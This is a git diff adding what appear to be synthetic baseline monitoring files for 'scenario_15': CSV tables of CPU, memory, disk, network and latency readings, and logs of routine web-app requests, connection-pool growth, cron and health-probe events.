+timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,app_latency +2025-08-20T10:00:00Z,13.67472179402982,43.276302033691614,35.00049045754085,1.1376120998683983,1.188743698490736,92.28149017833627 +2025-08-20T10:00:05Z,16.39753939705836,47.952488372658166,30.475580652276314,0.7735825225412936,0.7349366998864552,93.44293628561377 +2025-08-20T10:00:10Z,14.696776188040701,41.81514805495053,28.72449960662361,0.8538609160540935,0.9496868839025603,64.5094028970124 +2025-08-20T10:00:15Z,14.240774105611127,42.76539233278061,25.059902904498603,0.9269054910408594,0.7920181304330751,76.74024576972032 +2025-08-20T10:00:20Z,19.10194802318575,41.96401051784701,20.420183894459498,1.189150733449324,1.062929747663866,64.13894367244313 +2025-08-20T10:00:25Z,11.656154748203779,44.38171129256659,32.81763438978713,0.5081503581010934,1.0127348405633327,60.246087633956606 +2025-08-20T10:00:30Z,16.654308283075494,46.07539957653544,29.07161620118764,1.2755758508309338,0.7058987817834443,117.09305261513106 +2025-08-20T10:00:35Z,16.265847789284262,45.58393828897649,26.936822204117504,1.4998914251765045,1.2272241167075413,85.86899941144875 +2025-08-20T10:00:40Z,15.563649907914506,38.16608013579518,30.38437161072198,1.2662663497446918,0.7010079727913638,85.21517847641509 +2025-08-20T10:00:45Z,15.055163814668525,42.23228705578121,23.02316189926478,1.4622774645256804,1.0552656396093187,85.37766380105131 +2025-08-20T10:00:50Z,17.344875409268635,44.45746360779089,31.27333648669697,0.8695091195977729,1.3923493461736296,66.36757223635027 +2025-08-20T10:00:55Z,16.632514911375328,46.833834265855046,24.01684624469544,0.685179512713012,1.0205876671956222,81.48495225849001 +2025-08-20T10:01:00Z,16.95679677148864,41.06586115458086,39.47383666179793,1.3043178693392623,0.9177990703071163,73.87228881603782 +2025-08-20T10:01:05Z,14.670841804962837,42.67873968771039,32.04556172833181,0.7884445905240488,0.9426447582826678,73.41928713271679 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--- /dev/null +++ b/norm_dataset/scenario_15/norm_15_4.log @@ -0,0 +1,47 @@ +Aug 20 10:00:00 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 20 10:00:20 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:00:35 systemd[1]: Starting daily clean up activities... +Aug 20 10:00:40 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:01:00 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:01:10 systemd[1]: Starting daily clean up activities... +Aug 20 10:01:20 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:01:30 web-app[2345]: INFO High incoming request volume detected. +Aug 20 10:01:35 web-app[2345]: INFO High incoming request volume detected. +Aug 20 10:01:40 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:01:40 HikariCP[1]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 20 10:01:40 web-app[2345]: INFO High incoming request volume detected. +Aug 20 10:01:45 systemd[1]: Starting daily clean up activities... +Aug 20 10:01:45 HikariCP[1]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 20 10:01:45 web-app[2345]: INFO High incoming request volume detected. +Aug 20 10:01:50 HikariCP[1]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 20 10:01:50 web-app[2345]: INFO High incoming request volume detected. +Aug 20 10:01:55 HikariCP[1]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 20 10:01:55 web-app[2345]: INFO High incoming request volume detected. +Aug 20 10:02:00 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:02:10 HikariCP[1]: INFO: Pool 'HikariPool-1' - Pool stats (total=10, active=8, idle=2, waiting=0) +Aug 20 10:02:20 systemd[1]: Starting daily clean up activities... +Aug 20 10:02:20 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:02:40 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:02:55 systemd[1]: Starting daily clean up activities... +Aug 20 10:03:00 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:03:20 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:03:30 systemd[1]: Starting daily clean up activities... +Aug 20 10:03:40 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:04:00 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:04:05 systemd[1]: Starting daily clean up activities... +Aug 20 10:04:20 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:04:40 systemd[1]: Starting daily clean up activities... +Aug 20 10:04:40 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:05:00 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:05:15 systemd[1]: Starting daily clean up activities... +Aug 20 10:05:20 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:05:40 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 20 10:06:00 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:06:20 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:06:25 systemd[1]: Starting daily clean up activities... +Aug 20 10:06:40 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:07:00 systemd[1]: Starting daily clean up activities... +Aug 20 10:07:00 web-app[2345]: GET /api/v1/products status=200 OK +Aug 20 10:07:20 web-app[2345]: GET /api/v1/products status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_5.csv b/norm_dataset/scenario_15/norm_15_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..fbdf4f527210cf1d18825172223eab8c936ca9de --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T10:00:00Z,15.72,44.84,30.69,1.0,0.62 +2025-08-21T10:00:05Z,15.52,47.36,33.03,0.97,0.79 +2025-08-21T10:00:10Z,14.44,46.62,28.96,1.39,0.72 +2025-08-21T10:00:15Z,16.52,43.02,29.67,1.42,0.74 +2025-08-21T10:00:20Z,14.53,43.89,31.64,1.22,0.9 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+2025-08-21T10:07:05Z,13.83,45.52,25.55,1.13,0.82 +2025-08-21T10:07:10Z,15.41,42.58,33.98,1.39,0.99 +2025-08-21T10:07:15Z,14.43,42.82,31.25,1.15,0.67 +2025-08-21T10:07:20Z,17.0,47.85,27.88,0.96,0.79 +2025-08-21T10:07:25Z,15.56,43.43,25.24,1.09,0.83 diff --git a/norm_dataset/scenario_15/norm_15_5.log b/norm_dataset/scenario_15/norm_15_5.log new file mode 100644 index 0000000000000000000000000000000000000000..b97a17655d462a8935406363428f60f98969de3b --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_5.log @@ -0,0 +1,20 @@ +Aug 21 10:00:00 web-app[2345]: INFO Application startup complete. +Aug 21 10:00:25 web-app[2345]: GET /api/v1/status status=200 OK +Aug 21 10:01:15 web-app[2345]: GET /api/v1/user/101 status=200 OK +Aug 21 10:02:05 web-app[2345]: GET /api/v1/user/102 status=200 OK +Aug 21 10:02:30 web-app[2345]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 21 10:02:40 web-app[2345]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 21 10:02:40 web-app[2345]: GET /api/v1/data status=200 OK +Aug 21 10:02:55 web-app[2345]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 21 10:03:00 web-app[2345]: GET /api/v1/data status=200 OK +Aug 21 10:03:15 web-app[2345]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 21 10:03:20 web-app[2345]: GET /api/v1/data status=200 OK +Aug 21 10:03:40 web-app[2345]: GET /api/v1/data status=200 OK +Aug 21 10:04:00 web-app[2345]: GET /api/v1/data status=200 OK +Aug 21 10:04:20 web-app[2345]: GET /api/v1/data status=200 OK +Aug 21 10:04:40 web-app[2345]: GET /api/v1/data status=200 OK +Aug 21 10:05:00 web-app[2345]: GET /api/v1/data status=200 OK +Aug 21 10:05:20 web-app[2345]: GET /api/v1/data status=200 OK +Aug 21 10:05:40 web-app[2345]: GET /api/v1/data status=200 OK +Aug 21 10:06:40 web-app[2345]: GET /api/v1/user/105 status=200 OK +Aug 21 10:07:20 web-app[2345]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_6.csv b/norm_dataset/scenario_15/norm_15_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..c5bdf10190c878961468e236e8b8acccc851903f --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T12:00:00Z,14.42001794042916,38.55666419236746,32.36224222389073,0.9110162966313203,0.6425582116278195 +2025-08-20T12:00:05Z,18.98127101421241,37.94666942458727,31.130933288632324,0.6578835158765413,0.8829114906499699 +2025-08-20T12:00:10Z,12.53023297980953,41.47385333651164,28.372139728291213,0.9426995718769865,0.7972132514155642 +2025-08-20T12:00:15Z,15.517535410366893,39.34259515687228,28.711437922976174,1.164977888577554,0.9098843258225524 +2025-08-20T12:00:20Z,15.253553750856373,38.14331751658052,30.06974113156257,0.9440266998315957,0.7295955973733506 +2025-08-20T12:00:25Z,14.107693989491255,42.28358842461878,32.667957387378635,1.1355705691854305,0.9288096402672604 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+2025-08-20T12:07:10Z,12.559069957678062,41.43487819395575,27.271515909823943,1.164244769243357,0.714488667535379 +2025-08-20T12:07:15Z,17.375396618158316,44.351822493591385,29.05705380566839,1.0229316298674718,0.827880982441399 +2025-08-20T12:07:20Z,16.13038201605953,40.95553135021737,36.161334588586584,0.8707791358570609,0.6644944757301791 +2025-08-20T12:07:25Z,12.181293147659886,41.535520213026174,28.05188460825019,0.6777746324954379,1.2740822276778925 diff --git a/norm_dataset/scenario_15/norm_15_6.log b/norm_dataset/scenario_15/norm_15_6.log new file mode 100644 index 0000000000000000000000000000000000000000..4c1dffe296dc5ef364398ab96180ac3a5203b516 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_6.log @@ -0,0 +1,74 @@ +Aug 20 12:00:15 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:00:30 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:00:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:01:05 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:01:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 12:01:20 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:01:25 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:01:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 12:01:35 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:01:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:02:15 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:02:20 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:02:25 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:02:30 web-app[1235]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:30 web-app[1235]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:30 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:30 web-app[1235]: GET /api/v1/orders/create status=200 OK +Aug 20 12:02:35 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:35 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:35 web-app[1234]: GET /api/v1/products/search status=200 OK +Aug 20 12:02:40 web-app[1235]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:40 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:40 web-app[1235]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:40 web-app[1234]: GET /api/v1/products/search status=200 OK +Aug 20 12:02:45 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:45 web-app[1235]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:45 web-app[1234]: GET /api/v1/user/profile/update status=200 OK +Aug 20 12:02:50 web-app[1235]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:50 web-app[1235]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 20 12:02:50 web-app[1235]: GET /api/v1/user/profile/update status=200 OK +Aug 20 12:02:55 web-app[1235]: GET /api/v1/user/profile/update status=200 OK +Aug 20 12:03:00 web-app[1235]: GET /api/v1/orders/create status=200 OK +Aug 20 12:03:05 web-app[1235]: GET /api/v1/user/profile/update status=200 OK +Aug 20 12:03:10 web-app[1234]: GET /api/v1/orders/create status=200 OK +Aug 20 12:03:15 web-app[1235]: GET /api/v1/products/search status=200 OK +Aug 20 12:03:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:03:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:03:35 web-app[1235]: GET /api/v1/orders/create status=200 OK +Aug 20 12:03:40 web-app[1234]: GET /api/v1/user/profile/update status=200 OK +Aug 20 12:03:45 web-app[1234]: GET /api/v1/orders/create status=200 OK +Aug 20 12:03:50 web-app[1235]: GET /api/v1/products/search status=200 OK +Aug 20 12:03:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:04:00 web-app[1235]: GET /api/v1/orders/create status=200 OK +Aug 20 12:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 20 12:04:05 web-app[1235]: GET /api/v1/orders/create status=200 OK +Aug 20 12:04:15 web-app[1235]: GET /api/v1/user/profile/update status=200 OK +Aug 20 12:04:20 web-app[1234]: GET /api/v1/products/search status=200 OK +Aug 20 12:04:25 web-app[1235]: GET /api/v1/user/profile/update status=200 OK +Aug 20 12:04:30 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:04:35 web-app[1235]: GET /api/v1/user/profile/update status=200 OK +Aug 20 12:04:45 web-app[1234]: GET /api/v1/orders/create status=200 OK +Aug 20 12:04:55 web-app[1235]: GET /api/v1/orders/create status=200 OK +Aug 20 12:04:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 20 12:05:00 web-app[1235]: GET /api/v1/products/search status=200 OK +Aug 20 12:05:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:05:15 web-app[1234]: GET /api/v1/user/profile/update status=200 OK +Aug 20 12:05:20 web-app[1234]: GET /api/v1/user/profile/update status=200 OK +Aug 20 12:05:25 web-app[1235]: GET /api/v1/orders/create status=200 OK +Aug 20 12:05:30 web-app[1235]: GET /api/v1/products/search status=200 OK +Aug 20 12:05:35 web-app[1235]: GET /api/v1/orders/create status=200 OK +Aug 20 12:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 20 12:05:40 web-app[1234]: GET /api/v1/products/search status=200 OK +Aug 20 12:05:45 web-app[1234]: GET /api/v1/orders/create status=200 OK +Aug 20 12:05:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:06:05 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:06:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:06:25 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:06:35 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:06:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:07:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 20 12:07:15 web-app[1235]: GET /api/v1/user/12 status=200 OK +Aug 20 12:07:25 web-app[1235]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_7.csv b/norm_dataset/scenario_15/norm_15_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..3b97bb89314971136b775985a2425de9826dfa40 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,app_latency_ms +2025-08-22T10:00:00Z,16.245848605174654,39.9691053302794,26.249437078425295,0.9183950619176471,1.0858683686212043,38.88276308448346 +2025-08-22T10:00:05Z,17.54954406688013,41.76115248003259,22.494600659029416,1.0588139168006465,0.6817243119953288,50.44693478170999 +2025-08-22T10:00:10Z,17.288480437496613,40.126759995661466,26.06803245013229,1.3017995144910832,0.576750328622449,44.08560338944354 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Pool 'HikariPool-1' - Adding new connection. +Aug 22 10:01:35 web-app[1234]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 22 10:02:35 web-app[1234]: GET /api/v1/user/464 status=200 OK +Aug 22 10:02:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:05 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:20 web-app[1234]: GET /api/v1/user/193 status=200 OK +Aug 22 10:03:30 web-app[1234]: GET /api/v1/user/59 status=200 OK +Aug 22 10:03:40 web-app[1234]: GET /api/v1/user/191 status=200 OK +Aug 22 10:04:20 web-app[1234]: GET /api/v1/user/380 status=200 OK +Aug 22 10:04:25 web-app[1234]: GET /api/v1/user/331 status=200 OK +Aug 22 10:05:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:50 web-app[1234]: GET /api/v1/user/261 status=200 OK +Aug 22 10:05:55 web-app[1234]: GET /api/v1/user/189 status=200 OK +Aug 22 10:06:20 web-app[1234]: GET /api/v1/user/336 status=200 OK +Aug 22 10:06:35 web-app[1234]: GET /api/v1/user/295 status=200 OK +Aug 22 10:07:25 web-app[1234]: GET /api/v1/user/204 status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_8.csv b/norm_dataset/scenario_15/norm_15_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..f52628ebb95dd6ab81c6a80fc24e8cea18ff028c --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,latency_ms +2025-08-22T10:00:00Z,16.55,39.03,8.46,1.07,1.07,101.0 +2025-08-22T10:00:05Z,15.84,40.89,11.5,0.96,0.96,94.0 +2025-08-22T10:00:10Z,17.83,40.68,9.1,0.81,0.81,71.0 +2025-08-22T10:00:15Z,14.06,40.65,12.73,1.2,1.2,64.0 +2025-08-22T10:00:20Z,14.27,39.22,8.15,0.94,0.94,60.0 +2025-08-22T10:00:25Z,13.75,40.73,12.96,0.88,0.88,72.0 +2025-08-22T10:00:30Z,14.12,39.26,9.75,1.28,1.28,73.0 +2025-08-22T10:00:35Z,19.91,37.17,10.89,1.28,1.28,87.0 +2025-08-22T10:00:40Z,15.18,41.24,7.97,1.27,1.27,68.0 +2025-08-22T10:00:45Z,15.33,40.82,11.78,1.14,1.14,77.0 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+2025-08-22T10:05:20Z,14.98,40.5,7.16,1.2,1.2,72.0 +2025-08-22T10:05:25Z,10.89,40.38,10.33,0.83,0.83,85.0 +2025-08-22T10:05:30Z,15.58,40.77,9.47,1.01,1.01,78.0 +2025-08-22T10:05:35Z,15.17,40.61,12.24,0.91,0.91,86.0 +2025-08-22T10:05:40Z,15.34,41.87,11.25,1.05,1.05,82.0 +2025-08-22T10:05:45Z,12.92,40.67,7.64,0.82,0.82,75.0 +2025-08-22T10:05:50Z,10.65,41.71,7.56,1.11,1.11,73.0 +2025-08-22T10:05:55Z,13.65,42.64,9.13,0.65,0.65,74.0 +2025-08-22T10:06:00Z,14.88,41.91,11.33,0.71,0.71,75.0 +2025-08-22T10:06:05Z,16.32,41.57,9.09,1.0,1.0,75.0 +2025-08-22T10:06:10Z,11.62,42.19,10.83,1.0,1.0,93.0 +2025-08-22T10:06:15Z,15.72,42.55,9.24,1.14,1.14,85.0 +2025-08-22T10:06:20Z,16.57,41.74,14.99,0.83,0.83,81.0 +2025-08-22T10:06:25Z,15.74,41.06,11.95,1.02,1.02,76.0 +2025-08-22T10:06:30Z,14.42,43.22,12.44,1.09,1.09,80.0 +2025-08-22T10:06:35Z,15.58,43.95,7.83,0.99,0.99,68.0 +2025-08-22T10:06:40Z,10.89,42.75,11.55,0.76,0.76,78.0 +2025-08-22T10:06:45Z,15.11,41.19,7.73,1.02,1.02,74.0 +2025-08-22T10:06:50Z,16.63,43.71,11.51,1.11,1.11,84.0 +2025-08-22T10:06:55Z,13.58,43.04,9.02,0.74,0.74,88.0 +2025-08-22T10:07:00Z,13.43,41.3,9.51,0.83,0.83,72.0 +2025-08-22T10:07:05Z,15.42,40.24,11.98,0.63,0.63,78.0 +2025-08-22T10:07:10Z,15.17,42.67,11.36,1.0,1.0,87.0 +2025-08-22T10:07:15Z,16.22,42.67,11.41,0.98,0.98,75.0 +2025-08-22T10:07:20Z,12.55,40.62,11.75,0.97,0.97,76.0 +2025-08-22T10:07:25Z,17.45,44.26,10.68,1.19,1.19,78.0 diff --git a/norm_dataset/scenario_15/norm_15_8.log b/norm_dataset/scenario_15/norm_15_8.log new file mode 100644 index 0000000000000000000000000000000000000000..1f5f5226225f5199b7b2dad93b081785798803dc --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_8.log @@ -0,0 +1,20 @@ +Aug 22 10:00:25 web-app[2233]: INFO GET /api/v1/health status=200 OK +Aug 22 10:00:50 web-app[2233]: INFO GET /api/v1/user/profile status=200 OK +Aug 22 10:01:40 web-app[2233]: INFO GET /api/v1/health status=200 OK +Aug 22 10:02:00 web-app[2233]: INFO High traffic detected, scaling connection pool. +Aug 22 10:02:05 HikariPool-1[3121]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 22 10:02:10 HikariPool-1[3121]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 22 10:02:15 web-app[2233]: INFO GET /api/v1/data status=200 OK +Aug 22 10:02:20 HikariPool-1[3121]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 22 10:02:25 web-app[2233]: INFO GET /api/v1/data status=200 OK +Aug 22 10:02:30 HikariPool-1[3121]: DEBUG Pool 'HikariPool-1' - Adding new connection. Pool reached capacity. +Aug 22 10:02:35 web-app[2233]: INFO Connection pool scaled up successfully. +Aug 22 10:02:55 web-app[2233]: INFO GET /api/v1/data status=200 OK +Aug 22 10:03:20 web-app[2233]: INFO GET /api/v1/data status=200 OK +Aug 22 10:03:45 web-app[2233]: INFO GET /api/v1/data status=200 OK +Aug 22 10:04:35 web-app[2233]: INFO GET /api/v1/health status=200 OK +Aug 22 10:05:25 web-app[2233]: INFO GET /api/v1/user/profile status=200 OK +Aug 22 10:06:15 web-app[2233]: INFO GET /api/v1/health status=200 OK +Aug 22 10:06:40 HikariPool-1[3121]: DEBUG Closing idle connection. +Aug 22 10:07:05 HikariPool-1[3121]: DEBUG Closing idle connection. +Aug 22 10:07:25 web-app[2233]: INFO GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_9.csv b/norm_dataset/scenario_15/norm_15_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..0722c72c2fef3a3df64297e76c3ce053a494cdf1 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,latency_ms +2025-08-23T10:00:00Z,16.25,41.66,22.96,0.72,1.07,68.95 +2025-08-23T10:00:05Z,17.55,45.13,26.47,0.95,1.0,47.37 +2025-08-23T10:00:10Z,17.29,43.23,32.54,0.74,0.78,42.7 +2025-08-23T10:00:15Z,14.92,44.4,23.54,1.26,1.19,46.65 +2025-08-23T10:00:20Z,15.37,48.46,29.86,1.08,0.88,66.84 +2025-08-23T10:00:25Z,14.39,42.84,24.45,1.34,0.66,42.5 +2025-08-23T10:00:30Z,13.71,46.06,18.58,1.19,0.78,34.99 +2025-08-23T10:00:35Z,13.75,43.21,25.26,0.72,0.68,42.14 +2025-08-23T10:00:40Z,15.73,43.54,23.32,0.54,0.98,34.72 +2025-08-23T10:00:45Z,14.96,42.69,29.11,0.94,1.05,56.16 +2025-08-23T10:00:50Z,18.39,39.46,42.32,0.86,0.55,39.43 +2025-08-23T10:00:55Z,13.31,44.88,32.09,0.91,1.02,49.56 +2025-08-23T10:01:00Z,18.52,46.15,27.42,1.01,1.21,52.8 +2025-08-23T10:01:05Z,13.72,43.23,43.42,0.82,1.46,55.44 +2025-08-23T10:01:10Z,15.55,46.17,33.92,1.19,0.83,56.76 +2025-08-23T10:01:15Z,13.49,43.01,34.89,1.01,0.77,34.04 +2025-08-23T10:01:20Z,14.43,41.15,37.01,0.69,1.19,37.72 +2025-08-23T10:01:25Z,14.77,48.7,24.63,1.2,0.86,51.88 +2025-08-23T10:01:30Z,18.39,49.06,21.02,0.9,1.2,40.49 +2025-08-23T10:01:35Z,16.11,47.81,32.02,0.9,0.96,30.45 +2025-08-23T10:01:40Z,15.39,40.43,31.44,1.0,1.09,297.61 +2025-08-23T10:01:45Z,16.84,46.39,27.29,0.72,1.26,338.29 +2025-08-23T10:01:50Z,18.19,44.31,28.12,1.12,1.0,82.92 +2025-08-23T10:01:55Z,20.95,43.1,34.07,0.76,1.49,49.29 +2025-08-23T10:02:00Z,20.2,43.72,28.7,1.31,1.2,71.39 +2025-08-23T10:02:05Z,22.47,43.96,30.68,0.9,0.75,91.82 +2025-08-23T10:02:10Z,23.6,42.5,28.26,1.07,1.0,66.93 +2025-08-23T10:02:15Z,26.54,43.41,32.57,0.78,1.03,46.99 +2025-08-23T10:02:20Z,26.16,46.05,39.72,1.14,0.69,79.89 +2025-08-23T10:02:25Z,27.57,47.17,34.41,0.7,1.09,58.83 +2025-08-23T10:02:30Z,29.38,47.15,27.01,0.69,0.84,73.47 +2025-08-23T10:02:35Z,26.93,46.01,30.52,0.73,0.78,73.84 +2025-08-23T10:02:40Z,28.86,45.66,29.84,0.79,1.07,61.68 +2025-08-23T10:02:45Z,28.13,44.76,30.83,1.05,1.13,67.3 +2025-08-23T10:02:50Z,28.39,42.32,20.58,0.93,0.93,65.03 +2025-08-23T10:02:55Z,27.1,43.67,37.58,0.88,1.15,70.42 +2025-08-23T10:03:00Z,27.38,46.25,29.48,0.8,1.0,62.96 +2025-08-23T10:03:05Z,29.25,36.27,37.13,0.87,0.96,71.79 +2025-08-23T10:03:10Z,28.14,46.82,33.51,0.85,0.94,72.68 +2025-08-23T10:03:15Z,26.98,43.01,33.04,0.61,0.82,64.32 +2025-08-23T10:03:20Z,26.77,40.1,30.58,1.27,0.87,85.11 +2025-08-23T10:03:25Z,25.73,40.96,24.92,0.9,1.11,57.67 +2025-08-23T10:03:30Z,27.14,42.17,25.33,0.82,0.92,75.94 +2025-08-23T10:03:35Z,23.89,44.76,36.67,0.92,1.04,70.91 +2025-08-23T10:03:40Z,24.52,46.04,32.22,0.99,1.1,71.56 +2025-08-23T10:03:45Z,22.91,44.88,33.77,1.11,0.87,80.84 +2025-08-23T10:03:50Z,20.43,46.13,39.9,0.74,0.79,65.19 +2025-08-23T10:03:55Z,17.52,42.11,34.99,0.81,0.97,74.65 +2025-08-23T10:04:00Z,20.17,41.49,28.96,0.95,0.77,63.93 +2025-08-23T10:04:05Z,16.49,46.22,35.62,1.27,1.43,70.35 +2025-08-23T10:04:10Z,12.8,44.56,36.28,1.38,0.65,31.18 +2025-08-23T10:04:15Z,13.13,43.83,24.06,1.0,0.75,55.19 +2025-08-23T10:04:20Z,15.09,50.62,28.27,0.8,1.04,68.61 +2025-08-23T10:04:25Z,12.71,41.33,22.76,0.86,1.02,68.44 +2025-08-23T10:04:30Z,14.45,40.86,33.55,0.95,1.09,54.08 +2025-08-23T10:04:35Z,16.44,40.44,26.11,1.0,0.91,50.97 +2025-08-23T10:04:40Z,16.24,45.37,31.22,0.88,0.8,54.1 +2025-08-23T10:04:45Z,16.94,41.5,29.69,0.98,1.16,54.96 +2025-08-23T10:04:50Z,9.87,41.0,30.0,0.83,0.98,43.78 +2025-08-23T10:04:55Z,17.35,49.04,31.71,1.12,1.26,45.21 +2025-08-23T10:05:00Z,11.31,47.16,27.41,1.13,0.92,58.05 +2025-08-23T10:05:05Z,15.76,43.26,36.31,0.83,0.92,53.92 +2025-08-23T10:05:10Z,12.28,48.39,25.33,1.2,1.05,42.79 +2025-08-23T10:05:15Z,14.88,44.51,36.67,0.76,0.99,38.71 +2025-08-23T10:05:20Z,16.0,42.73,32.18,1.09,0.74,56.91 +2025-08-23T10:05:25Z,16.78,38.41,28.99,1.02,1.03,37.29 +2025-08-23T10:05:30Z,12.39,46.03,37.28,0.71,1.13,47.71 +2025-08-23T10:05:35Z,12.75,47.84,33.61,1.13,0.9,42.81 +2025-08-23T10:05:40Z,15.28,46.54,25.66,1.1,0.9,43.39 +2025-08-23T10:05:45Z,12.06,40.83,40.77,1.21,0.71,62.19 +2025-08-23T10:05:50Z,16.17,47.77,34.64,1.07,0.91,42.65 +2025-08-23T10:05:55Z,13.33,44.64,31.98,0.93,1.09,43.78 +2025-08-23T10:06:00Z,17.85,41.64,30.63,0.73,0.82,51.51 +2025-08-23T10:06:05Z,14.11,46.47,32.54,1.05,1.44,34.02 +2025-08-23T10:06:10Z,17.16,35.07,25.44,0.86,1.07,37.64 +2025-08-23T10:06:15Z,17.96,45.79,32.84,0.89,1.36,54.77 +2025-08-23T10:06:20Z,13.42,44.43,28.72,0.95,0.77,55.61 